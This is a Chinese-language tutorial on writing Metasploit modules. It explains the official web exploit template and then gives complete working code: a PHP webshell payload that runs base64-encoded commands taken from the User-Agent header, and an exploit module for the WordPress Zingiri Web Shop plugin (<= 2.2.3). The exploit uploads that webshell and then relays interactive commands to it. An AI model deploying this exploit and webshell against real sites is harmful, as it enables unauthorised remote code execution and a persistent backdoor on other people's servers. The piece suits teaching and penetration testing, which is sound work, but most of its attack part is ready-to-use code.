Metasploit Framework简称msf,是一个渗透测试平台,集成大量可用于渗透测试的模块,并且提供了模块的统一编写规范,可自行按照规范编写模块,并允许在自己的模块包含平台中的其他模块,最后把模块集成到 msf 中即可使用。因此,msf 既是一款工具,也是一个平台。
exploit模板
msf 的模块主要用 Ruby 语言编写,为什么是主要呢?因为在新版本中也给出了 python 的模板。
以实现 exploit 模块为例子,官方给出的针对 web 服务的模板文件在 metasploit-framework/modules/exploits/example_webapp.rb。
简化一下模板:
#
# 编写一个web的exploit模块,首先要继承 Msf::Exploit::Remote;
# 如果编写 auxiliary 模块,就继承 Msf::Auxiliary。
#
class MetasploitModule < Msf::Exploit::Remote
# Rank 表示这个模块的可靠性,根据目标范围、利用条件、利用难度设置的等级,NormalRanking表示
# 这个模块针对的是目标系统的特定版本,并且不能有效地自动探测。
Rank = NormalRanking
#
# 这个模块针对的是 web 服务,因此需要包含 HttpClient 模块与目标服务器交互,包含之后
# 就给这个模块提供了几个参数的设置:RHOSTS、RPORT、SSL、VHOST。
# 如果用过 msf 的话,应该知道它们分别是目标的主机名,端口,是否开启SSL,HTTP-Host头部。
#
include Msf::Exploit::Remote::HttpClient
# 初始化方法,模块加载时首先执行
def initialize(info = {})
super(
# 有关模块的描述信息
update_info(
info,
'Name' => 'Sample Webapp Exploit',
'Description' => %q(
This exploit module illustrates how a vulnerability could be exploited
in a webapp.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # msf module
'researcher' # original PoC, analysis
],
'References' =>
[
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234']
],
'Platform' => ['python'],
'Privileged' => false,0
'Arch' => ARCH_PYTHON,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2013-04-01',
'DefaultTarget' => 0
)
)
# 参数的注册,在这里可以为之前包含的模块设置默认参数,例如这里设置 HttpClient 的 RPORT,
# 也可以再添加一些需要的参数,以提供给后续运行的方法使用。
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
], self.class
)
end
#
# check方法是在真正漏洞利用之前,检查目标系统是否满足漏洞利用的条件,例如主机是否在线、
# 软件版本、服务版本等等。
# 在 msf 执行 check 后,运行这个方法。
#
def check
#
begin
.......
end
Exploit::CheckCode::Safe
end
# exploit方法是编写漏洞利用代码的位置,这个方法用于完成整个漏洞利用的过程,例如给目标主机发送哪
# 些数据,根据目标的响应结果再发送哪些数据,等等。经过一次或多个的交互,完成漏洞利用。
# 在 msf 执行 exploit 或 run 后,运行这个方法。
def exploit
begin
.......
end
end
end
根据exp实现一个exploit模块
exp来源:WordPress Plugin Zingiri 2.2.3
先实现一个 payload 模块,提供webshell的php代码:
require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module MetasploitModule
include Msf::Payload::Php
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'PHP Simple Shell',
'Description' => 'Get a simple php shell',
'Author' => [ 'binghe911' ],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false
))
end
# 返回 webshell 的php代码
def php_shell
shell = <<-END_OF_PHP_CODE
<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_USER_AGENT]));die; ?>
END_OF_PHP_CODE
return Rex::Text.compress(shell)
end
#
# Constructs the payload
#
def generate
return php_shell
end
end
然后实现 exploit 模块,不详细介绍 exp 的原理,大概就是目标wordpress系统的 zingiri 插件存在创建任意代码的 php 脚本,导致可以写入 webshell:
# 包含 msf 的核心代码,使用它所提供的模块
require "msf/core"
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit',
'Description' => %q{
This module exploits Remote Code Execution in the Wordpress,blogging software which install the Zingiri Web Shop plugin <=2.2.3 version
},
'License' => MSF_LICENSE,
'Author' =>
[
'lukesun629@gmail.com', # msf module
'lekusun629' # original PoC, analysis
],
'References' =>
[
],
'Platform' => 'php',
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {}]
],
'DisclosureDate' => 'NOV9 2010',
'DefaultTarget' => 0
)
)
# 配置了要提供的参数 URI,有关 wordpress 的 path 路径。
register_options(
[
OptString.new('URI', [true, "The full URI path to Wordpress", "/"]),
], self.class
)
end
def exploit
begin
# 获取设置的参数
url = datastore['URI']
remotehsot = datastore['RHOST']
# 以下进行 3 次请求-响应的交互,完成webshell的写入
res = send_request_cgi({
'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php",
'method' => 'GET',
}
)
directory = res.body.scan(/currentFolderPath" value="([^"]*)"/)
code = "selectedDoc[]=#{payload.encoded}¤tFolderPath=#{directory.first.first}"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_file_cut.php",
'data' => "#{code}",
})
cookie = res.headers['Set-Cookie'].split(";")
dirname = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php",
'data' => "new_folder=#{dirname}¤tFolderPath=#{directory.first.first}",
})
filename = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php",
'cookie' => "#{cookie[0]}",
'data' => "value=#{filename}&id=#{directory.first.first}#{dirname}",
})
# 循环读取攻击者输入的命令,并发送到目标webshell中执行
while(1)
print "#"
cmd = gets
if cmd.include?("exit")
break
end
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/data.php",
'agent' => "#{Rex::Text.encode_base64("#{cmd}")}\r\n",
})
data = res.body.split("_code_")[1]
puts data.split("<!DOCTYPE")[0]
end
end
end
end
测试
把上述编写好的模块文件放置在 msf 对应的目录中,
(1)exploit模块文件放在 metasploit-framework/modules/exploits/unix/webapp 目录中,并命名为 wordpress_zingiri_plugin.rb;
(2)payload模块文件放在 metasploit-framework/modules/payloads/singles/php 目录中,并命名为 php_shell.rb。
(3)启动 msfconsole,使用 wordpress_zingiri_plugin 模块,查看要配置的参数:
(4)配置参数,以及配置 payload:
(5)运行模块:
相关资料链接:
Exploit Development – Metasploit modules for fun & profit – Team ROT Information Security
ruby - How to get started writing Metasploit modules/exploits? - Stack Overflow
https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking